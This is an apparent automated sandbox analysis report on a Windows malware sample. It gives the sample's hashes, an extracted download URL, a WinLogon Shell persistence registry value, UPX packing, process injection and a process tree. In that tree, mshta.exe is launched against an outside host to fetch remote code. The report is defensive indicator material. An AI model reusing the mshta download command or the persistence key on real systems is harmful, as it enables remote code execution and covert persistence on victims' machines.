Analysis
-
max time kernel
150s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
31-12-2023 06:14
Behavioral task
behavioral1
Sample
2b627f1870515d948d0af33071ce47f5.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
2b627f1870515d948d0af33071ce47f5.exe
Resource
win10v2004-20231215-en
General
-
Target
2b627f1870515d948d0af33071ce47f5.exe
-
Size
682KB
-
MD5
2b627f1870515d948d0af33071ce47f5
-
SHA1
85482e3f57f14a4ed3e8fba18da829f6137be974
-
SHA256
b58fb9bd6b55a360da1af08e8aa18752cbdc32525b92658376d1e3bbd5b732d3
-
SHA512
b71d47ec63d32374fd3757389d9f45adc42bf239beafcb534d7805c37b733e3d7343c2972874907f1a009b9660f24b43a540d474e9f9bb236cf6d76573d65ef8
-
SSDEEP
12288:uSJsWPOGw+qY+n5wSHwnltGmmTY4mkGHzc3HGEslGM68LulbZB7nMpGbKw:uSAn5vHewmkGHCH1slGvqul1is2w
Malware Config
Extracted
http://rerererererere.com/inst.php?id=forbidden
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
z.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe" z.exe -
Executes dropped EXE 1 IoCs
Processes:
z.exepid process 2112 z.exe -
Loads dropped DLL 3 IoCs
Processes:
2b627f1870515d948d0af33071ce47f5.exez.exepid process 2228 2b627f1870515d948d0af33071ce47f5.exe 2228 2b627f1870515d948d0af33071ce47f5.exe 2112 z.exe -
Processes:
resource yara_rule behavioral1/memory/2228-0-0x0000000000400000-0x0000000000502000-memory.dmp upx \Users\Admin\AppData\Roaming\z.exe upx behavioral1/memory/2228-18-0x00000000031C0000-0x00000000035BC000-memory.dmp upx behavioral1/memory/2228-17-0x0000000000400000-0x0000000000502000-memory.dmp upx behavioral1/memory/2112-19-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral1/memory/2112-25-0x0000000003BB0000-0x0000000003BC0000-memory.dmp upx behavioral1/memory/2112-36-0x0000000000400000-0x00000000007FC000-memory.dmp upx behavioral1/memory/2112-37-0x0000000000400000-0x00000000007FC000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
z.exepid process 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe 2112 z.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
z.exepid process 2112 z.exe 2112 z.exe -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
2b627f1870515d948d0af33071ce47f5.exez.exedescription pid process target process PID 2228 wrote to memory of 2112 2228 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 2228 wrote to memory of 2112 2228 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 2228 wrote to memory of 2112 2228 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 2228 wrote to memory of 2112 2228 2b627f1870515d948d0af33071ce47f5.exe z.exe PID 2112 wrote to memory of 2728 2112 z.exe mshta.exe PID 2112 wrote to memory of 2728 2112 z.exe mshta.exe PID 2112 wrote to memory of 2728 2112 z.exe mshta.exe PID 2112 wrote to memory of 2728 2112 z.exe mshta.exe PID 2112 wrote to memory of 2852 2112 z.exe cmd.exe PID 2112 wrote to memory of 2852 2112 z.exe cmd.exe PID 2112 wrote to memory of 2852 2112 z.exe cmd.exe PID 2112 wrote to memory of 2852 2112 z.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe"C:\Users\Admin\AppData\Local\Temp\2b627f1870515d948d0af33071ce47f5.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\z.exe"C:\Users\Admin\AppData\Roaming\z.exe" forbidden2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden3⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\dgfdgsdf.batFilesize
167B
MD5e5a2cf708be039ebe72233673c1f2ac7
SHA1cca4b5f8c08e07779f4eddd7e3c960d7f68078f8
SHA2561f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c
SHA5120d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645
-
\Users\Admin\AppData\Roaming\z.exeFilesize
472KB
MD5fc0354f3c145dea029ffb866fc33c965
SHA118af2c23e3e7c29a9aa7ba7dd4bf43670a2bf6d8
SHA2564f2f6262d69f83d872a5b09a68688775d4c01fb56513b6ad054a15d94b5901a1
SHA51209953aa301f53706a9bb30f4cc5c208aaf79917f0081b5ecc7ae2d747a2f6dd75fcc40265d2b04955e5c8ee6a9083a6f4d1725024aed0d1044439da3579092ec
-
memory/2112-36-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2112-19-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2112-20-0x00000000001C0000-0x00000000001C1000-memory.dmpFilesize
4KB
-
memory/2112-25-0x0000000003BB0000-0x0000000003BC0000-memory.dmpFilesize
64KB
-
memory/2112-37-0x0000000000400000-0x00000000007FC000-memory.dmpFilesize
4.0MB
-
memory/2112-38-0x00000000001C0000-0x00000000001C1000-memory.dmpFilesize
4KB
-
memory/2112-39-0x0000000003BB0000-0x0000000003BC0000-memory.dmpFilesize
64KB
-
memory/2228-18-0x00000000031C0000-0x00000000035BC000-memory.dmpFilesize
4.0MB
-
memory/2228-17-0x0000000000400000-0x0000000000502000-memory.dmpFilesize
1.0MB
-
memory/2228-1-0x0000000000310000-0x0000000000311000-memory.dmpFilesize
4KB
-
memory/2228-0-0x0000000000400000-0x0000000000502000-memory.dmpFilesize
1.0MB